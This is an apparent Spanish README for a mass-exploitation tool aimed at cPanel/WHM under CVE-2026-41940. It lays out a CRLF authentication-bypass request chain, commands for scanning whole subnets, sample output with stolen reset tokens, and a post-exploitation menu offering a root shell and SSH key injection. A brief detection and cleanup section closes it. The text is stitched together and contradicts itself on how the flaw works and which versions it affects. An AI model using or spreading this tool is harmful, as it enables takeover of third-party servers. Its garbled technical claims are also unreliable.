
CVE-2026-41940 — cPanel/WHM Bypass de Autenticación por Dr.Anach, inyección CRLF en el manejador de autenticación Basic de `cpsrvd` → acceso no autenticado a la API de WHM → RCE como root. Todos los cPanel desde v11.40 afectados.
Autor: Dr.Anach | Contacto: @dranach | Licencia: MIT
Inyección CRLF en el manejador de autenticación Basic de cpsrvd → acceso no autenticado a la API de WHM → Ejecución Remota de Código como root. Todos los cPanel desde v11.40 afectados.
| # | Paso | Solicitud |
|---|---|---|
| 1 | Crear sesión | GET /login/?user=root |
| 2 | Inyección CRLF | Authorization: Basic <base64> — la contraseña lleva carga útil \r\n |
| 3 | Promoción de caché | GET /cpsess<ID>/login/?login_only=1 |
| 4 | Ejecutar | GET /cpsess<ID>/execute/API/func |
pip install requests colorama
A continuación se muestra el README.md final: amigable, práctico y centrado en hacer el trabajo.
Autor: Dr.Anach · Telegram: @dranach
Versión: 2.0.0
Licencia: Solo para pruebas de seguridad autorizadas
Explota CVE-2026-41940, una omisión de autenticación en cPanel & WHM (versiones 11.x a 106.x). La vulnerabilidad permite a un atacante no autenticado acceder a endpoints restringidos — incluyendo la función de restablecimiento de contraseña — mediante el envío de un encabezado Host manipulado que apunta a un servidor controlado por el atacante.
Viene con tres modos:
| Modo | Indicador | Qué |
|---|---|---|
| Objetivo único | -t |
requestspip install requests
Sin otras dependencias. La expansión CIDR usa el módulo ipaddress integrado de Python — no es necesario instalar nada adicional en Windows.
python main.py -t example.com
python main.py -t 192.168.1.100
python main.py --batch targets.txt --threads 50
Formato de targets.txt:
192.168.1.100
example.com
192.168.1.101
example.org
192.168.1.102
python main.py --port-scan 192.168.128.0/18 --threads 100 --timeout 5
Esto expande 192.168.128.0/18 (16,384 IPs), realiza una verificación rápida de puerto en cada una, y solo intenta la explotación contra hosts donde el puerto 2087 (cPanel/WHM) está abierto.
-t, --target IP o dominio único
--batch FILE Archivo con objetivos (uno por línea)
--port-scan CIDR Rango CIDR a escanear (ej., 192.168.128.0/18)
-p, --port Puerto objetivo (predeterminado: 2087)
--ssl Usar HTTPS (predeterminado: HTTP)
--timeout SEC Tiempo de espera de conexión en segundos (predeterminado: 10)
--threads N Máximo de hilos concurrentes (predeterminado: 50)
--proxy PROXY Proxy HTTP (ej., http://127.0.0.1:8080)
-v, --verbose Salida detallada con información de depuración
--no-banner Suprimir banner
--version Mostrar versión
[+] 192.168.130.45:2087 — ¡VULNERABLE!
→ URL de restablecimiento de contraseña: http://192.168.130.45:2087/reset?token=abc123
→ Tiempo de respuesta: 1.23s
[-] 192.168.131.10:2087 — No vulnerable
→ Motivo: No se encontró endpoint de restablecimiento de contraseña
[!] 192.168.129.22:2087 — Error: Conexión rechazada
Los resultados guardados como JSON están estructurados por host con estado de vulnerabilidad, tokens extraídos y detalles de respuesta sin procesar.
El escenario por el que probablemente estás aquí:
python main.py --port-scan 192.168.128.0/18 -p 2087 --threads 100 --timeout 5 -v
Cómo funciona:
192.168.128.0/18 → 16,384 IPs internamenteConsejos de hilos:
--threads 100 funciona bien (respeta los límites predeterminados de sockets)--threads 200--threads 30 y aumenta --timeoutCVSS 9.1 (Crítico) — No se requiere autenticación, sin interacción del usuario, baja complejidad.
Host en el servidorEsta herramienta es para solo evaluaciones de seguridad autorizadas. Debes ser propietario de los objetivos o tener permiso por escrito del propietario antes de realizar pruebas. Los autores no asumen ninguna responsabilidad por el uso indebido.
help Mostrar comandos
info Información del servidor
passwd Cambiar contraseña
accounts Listar cuentas de cPanel
enum Enumeración completa
shell Ejecutar comando del sistema
ssh-add Inyectar clave SSH
exec Ejecutar una línea de Python
exit Salir
Verificar archivos de sesión:
ls -la /var/cpanel/sessions/raw/
ls -la /var/cpanel/sessions/cache/
Registros sospechosos en /usr/local/cpanel/logs/access_log:
/login/?user=root → creación de sesión
/login/?user=root → inyección CRLF
/cpsess*/login/?login_only=1 → promoción de caché
/cpsess*/execute/* → abuso de API
# 1. Aplicar parche a la versión corregida
# 2. Rotar todas las contraseñas y claves SSH
# 3. Purgar sesiones
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
| Prueba una IP o dominio |
| Archivo por lotes | --batch | Carga una lista de objetivos desde un archivo |
| Escaneo CIDR | --port-scan | Expande una subred y prueba cada host activo |